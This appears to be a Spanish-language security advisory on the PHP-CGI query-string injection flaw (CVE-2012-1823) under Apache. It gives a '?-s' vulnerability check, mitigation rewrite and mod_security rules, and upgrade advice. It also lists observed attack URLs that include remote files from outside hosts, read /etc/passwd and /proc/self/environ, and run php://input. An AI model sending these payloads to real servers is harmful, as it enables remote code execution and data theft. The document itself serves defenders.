Apache mod_cgi
¿Cómo comprobar si su sitio es vulnerable?
Añadiendo -s? Al final de la URL de cualquierscript PHP, como:
Código:
ww.tusitioweb.com/index.php?-s
Código:
?-s
http://example.com/index.php?-dauto_prepend_file%3d/etc/passwd+-n
Si ve el código PHP, el PHP es vulnerable.
Si ves a tu página normalmente, su sitio no se ve afectada.
Código:
Allow_url_include: Permite el uso de fopen con algunas funciones como include, include_once,require, require_once.
Auto_prepend_file: Permite especificar un archivo que será interpretado antes del fichero principal.
Ejemplos ataque (la mayoría intentando usar una webshell o ejecutando un backdoor)
/index.php?-s'
/index.php?-dallow_url_include%3don+-dauto_prepend_file%3dhttp://www.5999mu.com/a.txt'
/index.php?-s/wp-admin/install.php'
/wordpress/index.php?-s'
/wp/index.php?-s'
/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3d%2Fproc%2Fself%2Fenviron'
/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2Fphp-cgi.ipq.co%2Fi'
/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dphp:%2f%2finput'
/index.php?-dallow_url_include%3don+-dauto_prepend_file%3dhttp://www.qz0451.com/1.txt'
¿Cómo mitigar el problema?
Si su sitio se ve afectada, y puede que tenga disponible y habilitado mod_rewrite en Apache, por favor, añadir a la htaccess la regla de reescritura.:
El siguiente código no funciona:
Código:
RewriteEngine on
RewriteCond %{QUERY_STRING} ^[^=]*$
RewriteCond %{QUERY_STRING} %2d|\- [NC]
RewriteRule .? - [F,L]
Si funciona:
Código:
RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC]
RewriteRule ^(.*) $1? [L]
Regla con mod_security
Código:
SecRule QUERY_STRING "^-[sdcr]" "phase:1,t:none,t:urlDecodeUni,t:removeWhitespace,block,log,msg:'Potential PHP-CGI Exploit Attempt'"
Solución:
Actualizar a PHP 5.4.3 and PHP 5.3.13
http://www.php.net/archive/2012.php#id2012-05-08-1
Fuentes:
http://ompldr.org/vZGxxaQ
http://www.php.net/archive/2012.php#id2012-05-03-1
http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
En Español:
http://www.elladodelmal.com/2012/05/ejecutar-codigo-remoto-en-apache-con.html
http://www.pentester.es/2012/05/explotando-php-cgi.html